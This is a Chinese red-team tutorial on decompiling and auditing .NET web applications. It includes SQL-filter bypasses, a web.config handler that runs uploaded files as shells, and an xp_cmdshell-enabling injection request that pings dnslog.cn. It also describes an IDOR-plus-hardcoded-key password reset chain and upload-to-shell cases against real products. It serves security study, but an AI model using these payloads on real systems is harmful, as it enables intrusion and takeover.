文章总结: 本文介绍了红队攻防中高效挖掘.NET系统漏洞的技巧,包括使用ILSpy、dnSpy等工具反编译DLL,分析常见漏洞sink点如SQL注入、命令执行、文件上传等,检测未授权访问,以及各种绕过技巧。通过两个实战案例展示了从获取DLL到发现漏洞并利用的完整流程,帮助安全人员在红队场景中快速定位和利用.NET系统漏洞。
综合评分: 90
文章分类: 红队,代码审计,漏洞分析,WEB安全,渗透测试
红队快速高效挖掘.net系统漏洞技巧
李白你好
2025年12月4日 08:01
青海
以下文章来源于亿人安全
,作者hyyrent
亿人安全
.
知其黑,守其白。手握利剑,心系安全。主要研究方向包括:Web、内网、红蓝对抗、代码审计、安卓逆向、CTF。
免责声明:由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
在红队攻防对抗中,.NET 应用由于采用前端页面(ASPX/ASHX)与托管程序集(DLL)分层架构,这种编译形态具备高度可逆性,使得核心代码逻辑能够通过反编译工具几乎完整还原。利用这一特性,我们可以在获取 DLL 后快速还原源码,通过静态审计与动态调试高效定位 SQL 注入、命令执行、文件上传等高危漏洞。本文将结合漏洞sink点、通用绕过手段与实战案例拆解 .NET 体系下的漏洞挖掘思路,帮助师傅们在红队场景中实现真正的快速高效挖0day。
1►
凌风云网盘
https://www.lingfengyun.com/
闲鱼购买
指纹提取旁站扫描备份文件
指纹提取 body=”xxxx” + 压缩文件目录扫描 (指定文件名www.zip)
反编译dll+去混淆
反编译 / 静态查看:ILSpy、dnSpy、dotPeek
dnSpy单个打开并导出到工程
使用dnSpy批量打开:
File -> Open -> 选择整个 bin 目录dnSpy会自动加载所有程序集
使用ILSpy命令行:
# 安装 ilspycmddotnet tool install ilspycmd -g# 反编译整个目录ilspycmd -p -o output_dir .\bin\*.dll# 反编译到单个文件ilspycmd -p -o output.cs .\bin\YourApp.dll
使用脚本批量反编译:
把下面的代码保存为bat文件,放到bin目录下,该bat脚本会在每个DLL所在目录下创建一个与 DLL 同名的文件夹
(例如 C:\xxx\lib\test.dll → C:\xxx\lib\test\),并将 ilspycmd 的输出写入该文件夹
@echo offchcp 65001setlocal enabledelayedexpansionREM 从当前目录递归查找所有 dllfor /R %%F in (*.dll) do ( REM %%F = 完整路径(含文件名和扩展名) set "dll_path=%%F" set "dll_name=%%~nF" set "dll_dir=%%~dpF" set "out_dir=%%~dpF%%~nF" echo 正在导出 "%%F" 到 "!out_dir!\ ..." if not exist "!out_dir!\" mkdir "!out_dir!" ilspycmd -p -o "!out_dir!" "%%F")echo 全部完成!pause
去混淆 : 混淆后的代码可能会出现类似的片段:
private string \u0001;private void \u0002(string \u0003){ if (this.\u0001 == \u0003)}
处理混淆代码: 使用 de4dot 去混淆,下载程序添加至环境变量
https://github.com/0xd4d/de4dothttps://github.com/ViRb3/de4dot-cex
de4dot.exe source.dll -o Remove_obfuscated.dllde4dot.exe -r D:\input -ru -ro D:\output
单个反编译太慢,我们可以使用命令或脚本进行快速批量去混淆
#!/usr/bin/env python3import osimport subprocessimport shutilfrom pathlib import Pathimport timedef main(): print("快速de4dot批量反混淆工具") print("=" * 40) try: result = subprocess.run(["de4dot", "--help"], capture_output=True, text=True, timeout=5) if result.returncode != 0: raise Exception("de4dot命令执行失败") print("de4dot全局命令检查通过") except Exception as e: print(f"de4dot全局命令不可用: {e}") return current_dir = Path(".") dll_files = [] for pattern in ["*.dll", "*.exe"]: dll_files.extend(current_dir.glob(pattern)) exclude_patterns = [ "System.", "Microsoft.", "Newtonsoft.", "EntityFramework", "Oracle.", "MySql.", "NLog.", "Quartz.", "RestSharp", "StackExchange.", "Thinktecture.", "BouncyCastle" ] filtered_files = [f for f in dll_files if not any(p in f.name for p in exclude_patterns)] if not filtered_files: print("当前目录没有找到需要处理的DLL文件") return print(f"找到 {len(filtered_files)} 个文件需要处理:") for f in filtered_files: print(f" - {f.name}") output_dir = Path("deobfuscated") output_dir.mkdir(exist_ok=True) print(f"\n开始处理...") print(f"输出目录: {output_dir.absolute()}") success_count = 0 start_time = time.time() for i, dll_file in enumerate(filtered_files, 1): print(f"\n[{i}/{len(filtered_files)}] 处理: {dll_file.name}") try: output_subdir = output_dir / dll_file.stem output_subdir.mkdir(exist_ok=True) cmd = ["de4dot", str(dll_file), "-o", str(output_subdir / dll_file.name)] print(f" 执行: {' '.join(cmd)}") result = subprocess.run(cmd, capture_output=True, text=True, timeout=300) if result.returncode == 0: print(f" 成功: {dll_file.name}") success_count += 1 else: print(f" 失败: {dll_file.name}") except subprocess.TimeoutExpired: print(f" 超时: {dll_file.name}") except Exception as e: print(f" 异常: {dll_file.name} - {e}") end_time = time.time() print(f"\n处理完成! 成功 {success_count}/{len(filtered_files)} 个, 耗时 {end_time - start_time:.1f} 秒") print(f"输出目录: {output_dir.absolute()}") print("\n批量反混淆完成!")if __name__ == "__main__": main()
去混淆前后对比
2►
ashx和dll映射关系
如 AjaxUpload.aspx,逻辑代码在 AjaxUpload.aspx.cs,页面会继承 M_Main.AjaxUpload 类,并自动绑定事件
这时候我们反编译 M_Main.dll,并找到对应的AjaxUpload类,便可以开始愉快的代码审计了
3►
常见漏洞sink点
| 漏洞类型 | 漏洞Sink点 | 审计描述 |
| — | — | — |
| SQL 注入 | ExecuteNonQuery() , ExecuteReader(), ExecuteScalar(), SqlDataAdapter.Fill(), ExecuteSqlCommand(), ExecuteSqlRaw(), CreateSQLQuery(), connection.Query() | 检查点 :查找 SQL 语句是否通过字符串拼接或格式化(+, String.Format, $"")将 Request/Query/Form/Cookie 等直接插入。 |
| 命令执行(RCE) | Process.Start() , ProcessStartInfo.FileName, ProcessStartInfo.Arguments | 检查点 :是否把用户输入拼接到命令或传给 shell/PowerShell, FileName 与 Arguments 是否来自外部 |
| 文件上传 / 任意文件写入 | SaveAs() , WriteAllBytes(), WriteAllText(), FileStream.Write() | 检查点 :是否校验扩展名、MIME、内容类型、文件名(路径分隔符)、以及保存目录权限;是否防止覆盖已有文件,上传可执行脚本(.aspx/.ashx)getshell |
| 反序列化 | BinaryFormatter.Deserialize() , SoapFormatter.Deserialize(), JsonConvert.DeserializeObject(), LosFormatter.Deserialize() | 检查点 :反序列化是否对不可信输入(Request、Cookie、ViewState、文件等)执行;是否使用不安全的序列化库(BinaryFormatter、SoapFormatter) |
| 任意文件读取 | File.ReadAllBytes() , File.ReadAllText(), Response.WriteFile(), Response.TransmitFile(), File() | 检查点 :是否将用户参数直接作为文件路径输出或读取;是否存在未做路径合法化的文件下载接口。 |
| 路径遍历 | Server.MapPath() , Path.Combine(), File.Delete(), Directory.GetFiles() | 检查点 :路径拼接是否包含未过滤的用户输入;Path.Combine 后是否做规范化校验。 |
| XXE(XML External Entity) | XmlDocument.LoadXml() , XmlDocument.Load(), XmlReader.Create(), DataSet.ReadXml() | 检查点 :XML 解析是否启用了外部实体解析(DTD);是否解析来自不受信任来源的 XML。 |
| SSRF | WebClient.DownloadString() , HttpClient.GetAsync(), WebRequest.Create(), HttpClient.PostAsync() | 检查点 :是否允许用户指定 URL 并由服务器发起请求;是否对目标地址做白名单或内部地址检测。 |
| 远程文件下载 | WebClient.DownloadFile()、HttpClient.GetStreamAsync()、HttpClient.GetByteArrayAsync() | 检查点 :是否允许用户提供远程文件 URL(例如通过参数、表单、配置等输入),是否存在任意文件写入风险(保存路径是否可控、是否拼接了用户输入 |
#
4►
未授权访问
检查默认路由暴露
- 默认路由
{controller}/{action}/{id}会将所有 public action 暴露出来 - 查找未授权用户访问敏感控制器/方法,列出所有 Controller 和 public Action,与路由匹配,判断是否有不应暴露的接口
var controllerTypes = typeof(MvcApplication).Assembly.GetTypes() .Where(t => t.IsSubclassOf(typeof(Controller)));foreach (var ctrl in controllerTypes){ var actions = ctrl.GetMethods(BindingFlags.Public | BindingFlags.Instance) .Where(m => m.ReturnType.IsSubclassOf(typeof(ActionResult)) || m.ReturnType == typeof(ActionResult)); Console.WriteLine($"{ctrl.Name}: {string.Join(", ", actions.Select(a => a.Name))}");}
ASMX公开访问
ASMX是一种用于创建 Web 服务的技术,公开未授权的 .asmx 方法可能允许读取或写入敏感数据(例如 GetUser、ResetPassword、UploadFile)
- 黑盒:目录扫描枚举
.asmx文件名与常见服务名称,如service.asmx、webservice.asmx、CommonService
- 白盒:利用命令
dir /s /b *.asmx或者everything筛选出存在且能访问到的webservice服务
https://github.com/SmartBear/soapui
soap发包,部分时候需要对内容进行html编码
web.config查看 HTTP 处理器配置 (handlers)
<handlers> <add name="AjaxMethod" verb="POST,GET" path="ajax/*.ashx" type="Ajax.PageHandlerFactory, Ajax" /> <add name="scissors" path="scissors.axd" verb="*" type="BitmapCutter.Core.HttpHandler.BitmapScissors,BitmapCutter.Core" /></handlers>
分析方法:
-
path="ajax/*.ashx"→ 表示
/ajax/*.ashx路径可访问 -
path="scissors.axd"→ 表示
/scissors.axd路径可访问 -
verb="POST,GET"或
verb="*"→ 表示支持的HTTP方法
[AllowAnonymous]
在ASP.NET中,当使用 [AllowAnonymous] 特性来标记控制器的 action 方法,以允许匿名访问, 即不需要进行身份验证
[Route("uploadAnony")]定义路由为 /uploadAnony
[AllowAnonymous]允许匿名访问,没有任何登录或鉴权验证,意味着前台能直接上传文件
[HttpPost]限定此接口仅响应 POST 请求,外部通过 POST /uploadAnony 即可访问此方法
[Route("uploadAnony")][AllowAnonymous][HttpPost]public IHttpActionResult uploadAnony(string code){ HttpPostedFile A3 = HttpContext.Current.Request.Files[Class0.aHX()]; string A4 = A2[Class0.ahA()]; string B = A4.Split('.').ToList().Last(); A3.SaveAs(text);}
5►
绕过技巧
SQL注入绕过
大多数系统会全局过滤SQL注入关键字,类似片段如下
检测了以下关键字,当检测到会报错停止
exec|insert|select|delete|update|truncate|or|drop|xp_cmdshell|waitfor delay|--
这时候我们就可以尝试fuzz未检测的关键字进行绕过,使用如下:
union, and, or, where, from, table, database, information_schema, waitfor, delay, sleep, benchmark, extractvalue, updatexml
除此以外,还可以使用以下方法进行绕过:
- 大小写绕过:
SelEct - 字符编码绕过:Unicode编码: 使用
%3C%3Fxml等编码 - 特殊字符绕过:使用
\t和\n替代空格、注释符: 使用/* */等注释符
文件上传绕过
在 Windows 操作系统中,文件名末尾的点.通常被视为无效字符。当创建或保存文件时,Windows 会自动去除文件名末尾的点
string fileName = Path.GetFileName(fileUpload.FileName);string fileExt = Path.GetExtension(fileName)?.ToLowerInvariant();string[] banned = { ".asp", ".aspx", ".jsp", ".jspx" };if (banned.Contains(fileExt)){ Response.Write("不允许上传的文件类型"); return;}
403 Bypass绕过
存在任意⽂件上传漏洞,上传asp、aspx后,目录⽆法解析提示403禁⽌访问
解决⽅案:上传web.config格式的shell⽂件,可解析成功
通过移除 .config 保护,将所有 .config 映射为可写入且可执行的 ASP 脚本,实现 IIS 对 .config 文件的完全脚本执行与写入权限放开
<handlers accessPolicy="Read, Script, Write"> <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /></handlers><security> <requestFiltering> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> <hiddenSegments> <remove segment="web.config" /> </hiddenSegments> </requestFiltering></security>
6►
实战案例
实战案例1:虚拟路径映射+前台Sql注入
Fofa资产数量1500多,也算是个小通杀
在 Web.config 的 httpHandlers 节点中配置了以下可直接前台访问的 .ashx 文件:
这些路径通过 Web.config 中的httpHanlers 节点配置,是虚拟路径映射,不需要物理文件存在
文件位置:bin/xxxx/AppDataHandler.cs
首先提供两个危险方法:
ExcuteNonQuerry- 执行 INSERT/UPDATE/DELETE 等操作GetDataTableByText- 执行 SELECT 查询并返回结果
public void ProcessRequest(HttpContext context) { context.Response.Cache.SetCacheability(HttpCacheability.NoCache); switch (context.Request["action"]) { case "ExcuteNonQuerry": ExcuteNonQuerry(context); break; case "GetDataTableByText": GetDataTableByText(context); break;
接口直接从请求参数中读取 cmdtext,用户提交的 cmdtext 参数直接作为 SQL语句执行
string cmdText = context.Request["cmdtext"];
然后传入数据库执行,没有任何输入校验、SQL 拼接检查或白名单过滤
bool flag = iDDatabase.ExecuteNonQuery(cmdText);DataSet dataSet = iDDatabase.GetDataSet(cmdText);
执行命令还需要开启xpcmdshell,打开“显示高级选项”,然后将 xp_cmdshell 设置为 1
POST /xxxxx/AppData.ashx HTTP/1.1Host: target.comContent-Type: application/x-www-form-urlencodedCookie: XXXaction=ExcuteNonQuerry;cmdtext=EXEC+sp_configure+'show+advanced+options',1;RECONFIGURE;EXEC+sp_configure+'xp_cmdshell',1;RECONFIGURE;EXEC+xp_cmdshell+'ping+dnslog.cn'
后续要getshell,可以选择找前台资源路径写shell或者直接命令上线,就不详细赘述了
实战案例2:重置密码+后台任意文件上传
通过ID越权获取身份证号
只检验id 是否存在,符合类型则返回结果,没有检查请求者是否为该 id 的拥有者或有权限访问该用户信息
身份证号重置密码
- 通过
gidcard参数在GUARDER表中查找记录,如果不存在,返回错误信息 - 接着再去验证
gurpass是否正常解密
GUARDER gUARDER = base.IocBase.GUARDERService.Get((GUARDER o) => o.IDENTITYNO == gidcard);if (gUARDER == null){ return HtmlHelpers.FailJsonResult("身份证号不存在!");}
DesDecrypt 函数,硬编码 key = "123456"
string message = gurpass;gurpass = des.DesDecrypt("123456", message);public static string DesDecrypt(string key, string message){ return DES(key, HexToString(message), isEncrypt: false, 0, "");}
整个gurpass解密过程大体如下
WeiXinController.DoResetGPwd() ↓des.DesDecrypt() ├─→ HexToString() └─→ DES() ├─→ DES_CreateKey() │ └─→ MoveByte() └─→ MoveByte()
根据解密逻辑编写脚本进行加密
使用存在的身份证号成功重置密码
后台任意文件上传
审计要点:
# 查找文件上传相关代码grep -r "SaveAs\|WriteAllBytes\|FileStream.*Write" decompiled_output/grep -r "HttpPostedFileBase\|IFormFile" decompiled_output/
可以看到这里直接拼接路径回显,没有限制上传后缀
private ResponseData UploadFiles(HttpContext context){ ResponseData responseData = new ResponseData(); string strErrorMsg; List> list = ReceiveFiles(context, AccessaryType.Customize, -1, out strErrorMsg); // ...}{ if (context.Request.Files.Count > 0) { for (int i = 0; i < context.Request.Files.Count; i++) { HttpPostedFile httpPostedFile = context.Request.Files[i]; if (httpPostedFile.ContentLength > 0) { string extension = Path.GetExtension(httpPostedFile.FileName); // ❌ 未验证 string text3 = Guid.NewGuid().ToString() + extension; httpPostedFile.SaveAs(text2 + text3); // ❌ 直接保存 } } }}
但是这里 text2、text3是根据时间生成的路径不可控,如果想要getshell需要看该路径下是否能解析aspx、ashx
幸运的是能解析
如果像下面这种FilePath和PathType由用户可控,getshell则容易许多
protected void Page_Load(object sender, EventArgs e){ if (base.Request.Files["Filedata"] != null) { HttpPostedFile httpPostedFile = base.Request.Files["Filedata"]; string text = base.Request["FilePath"]; // 用户可控的路径 if (string.IsNullOrEmpty(text)) { string text2 = base.Request["PathType"]; // 用户可控 if (string.IsNullOrEmpty(text2) || text2 == "Default") { text = $"Accessary/{DateTime.Today.Year:D4}/{DateTime.Today.Month:D2}"; } else { AccessaryType accessaryType = (AccessaryType)Enum.Parse(typeof(AccessaryType), text2, ignoeCase: true); text = CGeneral.GetAccessaryDir(accessaryType); } }
或者是像这种路径拼接的,可以通过 ../../../ 进行路径遍历,写到前台可以访问解析的路径下
string folder = Request["folder"];string path = Path.Combine("~/uploads/", folder, fileName); file.SaveAs(Server.MapPath(path));
7►
网络安全情报攻防站
www.libaisec.com
综合性的技术交流与资源共享社区
专注于红蓝对抗、攻防渗透、威胁情报、数据泄露
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:李白你好 《红队快速高效挖掘.net系统漏洞技巧》